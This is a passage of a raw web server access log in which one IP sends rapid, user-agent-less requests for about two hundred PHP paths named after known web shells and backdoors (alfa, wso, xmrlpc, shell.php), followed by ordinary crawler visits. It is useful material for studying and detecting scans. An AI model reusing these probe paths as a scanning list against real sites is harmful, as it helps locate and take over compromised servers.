"-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:45 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:46 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:47 -0400] "GET /alfa1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:49 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:50 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:51 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:53 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:55 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:56 -0400] "GET /admin/uploads/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:57 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:59 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:59 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:01 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:02 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:04 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:05 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:06 -0400] "GET /.well-known/acme-challenge/gif.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:08 -0400] "GET /feedback.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:11 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:13 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:15 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:17 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:18 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:19 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:21 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:21 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:23 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:26 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:27 -0400] "GET /thumbs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:29 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:32 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:35 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:37 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:39 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:41 -0400] "GET /templates/hcapmaster_comps.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:42 -0400] "GET /.well-known/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:44 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:45 -0400] "GET /alfa-ioxi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:46 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:47 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:49 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:50 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:51 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:52 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:54 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:55 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:57 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:56:59 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:00 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:02 -0400] "GET /comdofuns.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:04 -0400] "GET /wp-includes/customize/class-wp-customize-new-menu-section-compiler.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:05 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:07 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:07 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:10 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:12 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:15 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:17 -0400] "GET /.well-known/wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:19 -0400] "GET /wp-content/plugins/index-ajax-response.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:21 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:22 -0400] "GET /.well-known/acme-challenge/index1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:24 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:26 -0400] "GET /.well-known/acme-challenge/LA.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:27 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:28 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:29 -0400] "GET /wp/wp-admin/includes/class-wp-filesystem-base.php.bak HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:31 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:32 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:35 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:37 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:39 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:40 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:42 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:45 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:46 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:47 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:48 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:50 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:51 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:53 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:55 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:57 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:57:59 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:03 -0400] "GET /ALFA_DATA/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:06 -0400] "GET /.well-known/pki-validation/x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:07 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:09 -0400] "GET /source.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:12 -0400] "GET /wp-includes/hnkmhdbj.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:12 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:15 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:16 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:19 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:23 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:26 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:28 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:30 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:32 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:36 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:38 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:40 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:44 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:46 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:48 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:50 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:55 -0400] "GET /wp-content/plugins/seoo/alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:57 -0400] "GET /.well-known/acme-challenge/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:58 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:58:59 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:00 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:01 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:02 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:02 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:04 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:04 -0400] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:05 -0400] "GET /wp-admin/images/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:06 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:07 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:07 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:08 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:09 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:12 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:13 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:13 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:14 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:14 -0400] "GET /wp-includes/rest-api/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:16 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:16 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:17 -0400] "GET /index_.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:18 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:19 -0400] "GET /js/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:20 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:21 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:22 -0400] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:23 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:25 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:26 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:27 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:28 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:29 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:29 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:30 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:31 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:32 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:32 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:33 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:33 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:34 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:34 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:35 -0400] "GET /upload/duck.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:36 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:37 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:37 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:38 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:39 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:39 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:40 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:41 -0400] "GET /class-bulk-skin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:42 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:43 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:44 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:44 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:45 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:46 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:47 -0400] "GET /home.php?xsec=team HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:48 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:49 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:50 -0400] "GET /wp-content/plugins/seoo/alfa-ioxi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:51 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:52 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:52 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:53 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:53 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:54 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:55 -0400] "GET /wp-logout.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:56 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:57 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:58 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:59:59 -0400] "GET /wp-signup.php?FoX=sQFLZ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:00 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:00 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:01 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:02 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:02 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:04 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:08 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:12 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:15 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:18 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:22 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:26 -0400] "GET /img/img.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:30 -0400] "GET /wp-includes/customize/123.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:33 -0400] "GET /priv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:35 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:38 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:40 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:43 -0400] "GET /index.php?3x=3x HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:46 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:49 -0400] "GET /wp-content/uploads/2014/was-wp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:51 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:53 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:55 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:57 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:58 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:00:59 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:01:01 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:01:04 -0400] "GET /wp-includes/qqzqflcv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:01:06 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:01:08 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:01:12 -0400] "GET /wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:01:15 -0400] "GET /yanz.php/wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:20:01:18 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 103.251.167.20 - - [18/Apr/2025:20:01:31 -0400] "GET / HTTP/1.1" 301 795 "designpitara.com" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28" 195.191.219.132 - - [18/Apr/2025:20:04:53 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [18/Apr/2025:20:04:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [18/Apr/2025:20:05:01 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [18/Apr/2025:20:05:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 119.96.24.54 - - [18/Apr/2025:20:07:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.176.104.111 - - [18/Apr/2025:20:24:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 114.119.142.84 - - [18/Apr/2025:20:28:01 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 40.84.52.106 - - [18/Apr/2025:20:29:52 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 - - [18/Apr/2025:20:29:53 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.84.52.106 